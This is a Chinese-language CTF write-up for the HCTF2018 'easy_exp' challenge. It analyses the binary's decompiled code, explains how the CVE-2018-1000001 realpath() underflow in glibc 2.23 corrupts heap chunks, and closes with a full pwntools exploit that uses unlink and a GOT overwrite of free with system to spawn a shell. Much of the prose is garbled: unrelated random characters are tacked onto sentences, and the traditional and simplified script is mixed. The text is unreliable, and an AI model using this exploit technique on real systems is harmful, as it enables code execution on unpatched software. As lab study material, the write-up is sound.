easy_exp
前些天參加了HCTF2018的線上賽,一如既往的被大佬們吊打托酸。賽后結(jié)合大佬的講解發(fā)現(xiàn)這道題就是unlink結(jié)合了一個(gè)cve漏洞肘迎,正巧最近剛學(xué)習(xí)了有關(guān)Unlink的技巧醉箕,于是把這道題研究復(fù)現(xiàn)了一下瓣履。
首先題目給了兩個(gè)文件,easyexp和libc-2.23.so窿侈。
運(yùn)行程序做个,看到是一個(gè)仿真的環(huán)境鸽心,給了ls,mkdir,mkfile,cat命令。
- img
查看一下程序的保護(hù):
發(fā)現(xiàn)開啟了NX和Canary居暖。
程序邏輯分析
用ida靜態(tài)分析一波代碼:
init:
v18 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v0 = malloc(0x100000uLL);
dword_6032C0 = clone((int (*)(void *))fn, (char *)v0 + 0x100000, 268566545, 0LL);
if ( dword_6032C0 == -1 )
{
puts("error!");
exit(-1);
}
unsigned int __fastcall fn(void *arg)
{
while ( geteuid() )
sched_yield();
if ( mount("tmpfs", "/tmp", "tmpfs", 0xC0ED0000uLL, 0LL) )
exit(-1);
if ( chdir("/tmp") )
exit(-1);
return sleep(0xF4240u);
}
這里clone了一個(gè)子進(jìn)程顽频,子進(jìn)程執(zhí)行的fn用mount掛載了臨時(shí)文件系統(tǒng)到/tmp,然后用chdir更改到對(duì)應(yīng)目錄下太闺。
snprintf(&s, 0x1000uLL, "/proc/%d/cwd", (unsigned int)dword_6032C0);
root_path = strdup(&s);
sprintf(&file, "/proc/%d/setgroups", (unsigned int)dword_6032C0);
fd = open(&file, 1);
v2 = write(fd, "deny", 4uLL);
close(fd);
sprintf(&file, "/proc/%d/uid_map", (unsigned int)dword_6032C0);
v3 = open(&file, 1);
v4 = getuid();
sprintf(&buf, "0 %d 1\n", v4);
v5 = strlen(&buf);
v6 = write(v3, &buf, v5);
close(v3);
sprintf(&file, "/proc/%d/gid_map", (unsigned int)dword_6032C0);
v7 = open(&file, 1);
v8 = getgid();
sprintf(&buf, "0 %d 1\n", v8);
v9 = strlen(&buf);
v10 = write(v7, &buf, v9);
close(v7);
sleep(1u);
puts("tmpfs ready!");
if ( chdir(root_path) )
exit(-1);
printf("input your home's name: ", &buf);
sub_401036((__int64)src, 0x10u);
if ( strchr(src, 47) || strchr(src, 46) )
{
puts("you can't use that name,use default name [home]");
*(_DWORD *)src = 1701670760;
byte_6032B4 = 0;
mkdir("home", 0x1EDu);
}
else if ( mkdir(src, 0x1EDu) )
{
mkdir("home", 0x1EDu);
}
strcpy(dest, src);
dest[strlen(dest)] = 47;
v11 = &dest[strlen(dest)];
*(_DWORD *)v11 = 1734437990;
v11[4] = 0;
v12 = open(dest, 131521, 420LL);
write(v12, "flag{This_is_Fake}", 0x13uLL);
close(v12);
接下來修改了程序的一些/proc/$PID/信息糯景,和cve漏洞有關(guān)。
接著要我們輸入一個(gè)home名省骂,要求不包含'.'和'/',否則就使用默認(rèn)名home蟀淮。并創(chuàng)建對(duì)應(yīng)目錄。
再在home下寫入一個(gè)flag文件钞澳,里面內(nèi)容是"flag{This_is_Fake}",并沒有什么用處怠惶。
接下來看一下ls,mkdir,mkfile,cat幾個(gè)命令的實(shí)現(xiàn)。
ls:
__int64 __fastcall fuc_ls(char *a1)
{
const char *name; // [sp+8h] [bp-28h]@1
DIR *dirp; // [sp+10h] [bp-20h]@3
struct dirent *v4; // [sp+18h] [bp-18h]@6
__int16 v5; // [sp+20h] [bp-10h]@2
__int64 v6; // [sp+28h] [bp-8h]@1
name = a1;
v6 = *MK_FP(__FS__, 40LL);
if ( !a1 )
{
v5 = 46;
name = (const char *)&v5;
}
dirp = opendir(name);
if ( !dirp )
exit(2);
while ( 1 )
{
v4 = readdir(dirp);
if ( !v4 )
break;
printf("%s ", v4->d_name);
}
closedir(dirp);
putchar(10);
return *MK_FP(__FS__, 40LL) ^ v6;
}
發(fā)現(xiàn)這里就是打開目錄并讀取轧粟,且沒有什么限制策治,因此這里可以繞過tmpfs的沙盒,實(shí)現(xiàn)任意瀏覽目錄兰吟。
mkdir:
__int64 __fastcall sub_4015BD(const char *a1)
{
__int64 v2; // [sp+0h] [bp-1040h]@0
int i; // [sp+1Ch] [bp-1024h]@1
_BYTE v4[12]; // [sp+1Ch] [bp-1024h]@2
char *ptr; // [sp+28h] [bp-1018h]@7
char path; // [sp+30h] [bp-1010h]@5
__int64 v7; // [sp+1038h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
for ( i = 0; ; i = *(_DWORD *)v4 + 1 )
{
*(_QWORD *)&v4[4] = strchr(&a1[i], 47);
if ( *(_QWORD *)&v4[4] )
*(_DWORD *)v4 = *(_DWORD *)&v4[4] - (_DWORD)a1;
else
*(_QWORD *)v4 = (unsigned int)strlen(a1);
snprintf(&path, 0x1000uLL, "%s/%.*s", root_path, *(unsigned int *)v4, a1, v2);
mkdir(&path, 0x1EDu);
if ( !a1[*(signed int *)v4] )
break;
}
ptr = canonicalize_file_name(a1);
if ( !ptr )
{
puts("mkdir:create failed.");
exit(-1);
}
free(ptr);
return *MK_FP(__FS__, 40LL) ^ v7;
}
這里的實(shí)現(xiàn)是通惫,首先檢查文件名里的'/',找到后通過循環(huán)調(diào)用mkdir創(chuàng)建文件夾。之后調(diào)用canonicalize_file_name執(zhí)行一個(gè)檢查混蔼,檢查不通過直接結(jié)束程序履腋。
嘗試后發(fā)現(xiàn),即便創(chuàng)建一個(gè)正常目錄都無法通過這個(gè)檢查惭嚣。
mkfile:
__int64 __fastcall fuc_mkfile(const char *a1)
{
FILE *s; // ST18_8@12
int v2; // ebx@16
int v3; // ebx@16
signed int i; // [sp+10h] [bp-1030h]@6
int fd; // [sp+14h] [bp-102Ch]@13
char buf; // [sp+20h] [bp-1020h]@16
__int64 v8; // [sp+1028h] [bp-18h]@1
v8 = *MK_FP(__FS__, 40LL);
if ( a1 )
{
if ( strstr(a1, "..") || *a1 == 47 )
{
puts("you can't go out of tmpfs");
}
else
{
for ( i = 0; i <= 2; ++i )
{
if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
{
printf("write something:");
sub_401036((__int64)content[12 * i], (unsigned int)content[12 * i + 1]);
file_num = (i + 1) % 3;
return *MK_FP(__FS__, 40LL) ^ v8;
}
}
if ( content[12 * file_num] )
{
s = fopen((const char *)(96LL * file_num + 0x60318C), "w");
fwrite(content[12 * file_num], 1uLL, LODWORD(content[12 * file_num + 1]), s);
fclose(s);
free((void *)content[12 * file_num]);
}
strcpy((char *)(96LL * file_num + 0x60318C), a1);
fd = open(a1, 131521, 420LL);
if ( fd < 0 )
{
puts("mkfile:create failed.");
exit(-1);
}
printf("write something:");
sub_401036((__int64)&buf, 0x1000u);
write(fd, &buf, 0x1000uLL);
v2 = file_num;
content[12 * v2] = strdup(&buf);
v3 = file_num;
LODWORD(content[12 * v3 + 1]) = strlen(&buf);
close(fd);
file_num = (file_num + 1) % 3;
}
}
else
{
puts("Usage:mkfile [path]");
}
return *MK_FP(__FS__, 40LL) ^ v8;
}
mkfile的實(shí)現(xiàn)是先檢查一下名稱里有沒有'..'和'/',檢測到就會(huì)提示你別想越過沙箱遵湖。
然后生成一個(gè)結(jié)構(gòu)體,大致的結(jié)構(gòu)是:
struct file
{
char* content;
int size;
char[0x54] name;
}
先是一個(gè)內(nèi)容指針料按,后面是content的size和文件名奄侠。
程序會(huì)在bss段存儲(chǔ)最多3個(gè)這樣的結(jié)構(gòu)體卓箫,每次mkfile操作载矿,會(huì)先檢查一遍文件名,如果和bss段的某個(gè)文件名對(duì)應(yīng),就直接修改對(duì)應(yīng)的content闷盔,不對(duì)應(yīng)就會(huì)創(chuàng)建新的結(jié)構(gòu)體弯洗。如果已經(jīng)有了三個(gè)結(jié)構(gòu)體,就會(huì)根據(jù)當(dāng)前指針把對(duì)應(yīng)的內(nèi)容寫進(jìn)文件逢勾,然后free掉原本的content指針牡整,并在該位置創(chuàng)建新的結(jié)構(gòu)體。
cat
__int64 __fastcall fuc_cat(const char *a1)
{
signed int i; // [sp+14h] [bp-11Ch]@6
FILE *stream; // [sp+18h] [bp-118h]@11
char ptr; // [sp+20h] [bp-110h]@11
__int64 v5; // [sp+128h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
if ( a1 )
{
if ( strstr(a1, "..") || *a1 == 47 )
{
puts("you can't go out of tmpfs");
}
else
{
for ( i = 0; i <= 2; ++i )
{
if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
{
puts((const char *)content[12 * i]);
file_num = (i + 1) % 3;
return *MK_FP(__FS__, 40LL) ^ v5;
}
}
memset(&ptr, 0, 0x100uLL);
stream = fopen(a1, "r");
if ( stream )
{
fread(&ptr, 0x100uLL, 1uLL, stream);
puts(&ptr);
fclose(stream);
}
else
{
puts("No such file!");
}
}
}
else
{
puts("Usage:cat [path]");
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
cat這里也進(jìn)行了'..'和'/'檢查溺拱,也就沒法直接繞過沙箱逃贝。
后面會(huì)先去bss段找三個(gè)結(jié)構(gòu)體匹配文件名,找到后直接Puts對(duì)應(yīng)的content,沒找到就嘗試用fopen來讀取文件迫摔。
利用思路
程序本身并沒有找到什么漏洞沐扳。
回頭看題目的hint:plz pay attention to libc version and try to load the libc which we given
提示說,這題一定要載入對(duì)應(yīng)的libc句占。
我們查看以下libc版本:
發(fā)現(xiàn)是2.23-0ubuntu9沪摄。
可以在:https://launchpad.net/ubuntu/+source/glibc/2.23-0ubuntu10找到相應(yīng)的changelog。
* SECURITY UPDATE: Buffer underflow in realpath()
- debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
Make getcwd(3) fail if it cannot obtain an absolute path
- CVE-2018-1000001
發(fā)現(xiàn)纱烘,更新是修補(bǔ)了這個(gè)CVE-2018-1000001漏洞杨拐。
可以在:https://paper.seebug.org/528/里找到漏洞的詳細(xì)說明。
大體就是引入了(unreachable)這種情況后擂啥,函數(shù)realpath() 沒有考慮到對(duì)這種以‘(’開頭的不可到達(dá)路徑的處理哄陶,造成了溢出。
而在本題里mkdir中調(diào)用的canonicalize_file_name就封裝了函數(shù)realpath()啤它。
在canonicalize_file_name處下斷點(diǎn)奕筐,單步追蹤函數(shù)的執(zhí)行。
可以看到在執(zhí)行過getcwd()后变骡,得到的結(jié)果是(unreachable)/tmp离赫。(原因大概是當(dāng)前目錄不屬于當(dāng)前進(jìn)程的根目錄,和init的那段代碼有關(guān))
查看stdlib/canonicalize.c里__realpath的代碼:
這里name是我們要mkdir的文件夾塌碌,dest是通過getcwd獲取的(unreachable)/tmp渊胸。
可以看到這里在對(duì)以"../"開頭的name處理時(shí),默認(rèn)了dest是以"/"開頭的台妆,沒有考慮到以"("開頭的情況翎猛,因此第一個(gè)"../"使dest一直自減,退回到“(unreachable)/”,而由于dest前面再?zèng)]有"/"接剩,所以第二個(gè)“../”就會(huì)造成dest自減越界切厘,直到匹配到下一個(gè)"/"。
后面這里會(huì)執(zhí)行__mempcpy把創(chuàng)建的文件夾名字(去掉"../"后的)復(fù)制到dest懊缺,因此我們可以利用這一點(diǎn)來造成內(nèi)存改寫疫稿。
而后面的__lxstat64檢查就是我們無法正常mkdir的原因。這個(gè)函數(shù)會(huì)根據(jù)提供的參數(shù)去獲取文件的信息,假如說文件不存在的話遗座,會(huì)返回-1舀凛,跳到error
單步執(zhí)行程序,可以發(fā)現(xiàn)途蒋,在程序因mkdir結(jié)束前猛遍,確實(shí)是執(zhí)行的這個(gè)函數(shù):
我這里執(zhí)行的命令是"mkdir test"。
這個(gè)參數(shù)來自于:
new_rpath = (char *) realloc (rpath, new_size);
由于程序執(zhí)行了:
if (dest[-1] != '/')
*dest++ = '/';
......
dest = __mempcpy (dest, start, end - start);
所以這個(gè)參數(shù)的結(jié)果是:
"(unreachable)/tmp"+"/"+"test"
而假如我們執(zhí)行“mkdir ../abc”,由于后面"abc"覆蓋了"tmp"
結(jié)果就會(huì)是:
"(unreachable)/abc"
而假如我們執(zhí)行"mkdir ../../abc"号坡,通過溢出懊烤,"abc"不知道被復(fù)制到了哪里。
結(jié)果就是:
"(unreachable)/tmp"
所以我們可以創(chuàng)建文件"(unreachable)/abc"或者"(unreachable)/tmp"來通過這個(gè)驗(yàn)證宽堆。
由于最開始的init在輸入home名時(shí)奸晴,只限制了"."和"/",所以我們可以創(chuàng)建一個(gè)文件夾(unreachable)。
或者:
OK日麸,現(xiàn)在我們已經(jīng)可以利用這個(gè)溢出來改寫了寄啼。
我們可以申請chunk,來構(gòu)造這樣一個(gè)布局:
aaa/|sizeA
aaaa|sizeB
aaaC|sizeC
利用漏洞把sizeA變大,然后重新申請這個(gè)chunk進(jìn)而控制sizeB的chunk代箭。
然后就是常規(guī)的unlink了墩划。
1.先把content指針指向got表的free。
2.利用cat功能獲得free的地址嗡综,計(jì)算出libc地址和system地址乙帮。
3.mkfile寫入"/bin/sh"
4.修改free的got表指向system
5.調(diào)用free("/bin/sh")
ps:1.注意控制執(zhí)行free時(shí)的文件指針指向。2.mkfile新文件時(shí)极景,使用了strdup察净,先要用'a'填充空間。
最后的腳本:
from pwn import *
p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23.so'})
libc=ELF('./libc-2.23.so')
easyexp=ELF('./easyexp')
#gdb.attach(p,"b __lxstat64")
def mkfile(name,content):
p.recvuntil("$")
p.sendline("mkfile "+str(name))
p.recvuntil("write something:")
p.sendline(content)
def cat(name):
p.recvuntil("$")
p.sendline("cat "+name)
p.recvuntil("input your home's name: ")
p.sendline('(unreachable)')
mkfile("(unreachable)/tmp","a"*0x16+"/")
mkfile('2','a'*0x27)
mkfile('3','a'*0x80)
mkfile('3',p64(0x21)*2)
p.sendline('mkdir ../../a\x41')
cat('(unreachable)/tmp') #file_ptr 1
mkfile('4','a'*0x37)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))
#file_ptr2
mkfile('5','/bin/sh')
mkfile('4','a'*0x18+p64(easyexp.got['free'])+'99')
cat('4')
free_addr=u64(p.recvuntil('\n')[1:7].ljust(8,'\0'))
libc.address=free_addr-libc.symbols['free']
sys_addr=libc.symbols['system']
print "free_addr:"+hex(free_addr)
print "libc_addr:"+hex(libc.address)
print "system_addr:"+hex(sys_addr)
mkfile('4',p64(sys_addr))
p.sendline('mkfile over')
p.interactive()
參考:
https://paper.seebug.org/528/
https://www.360zhijia.com/anquan/430290.html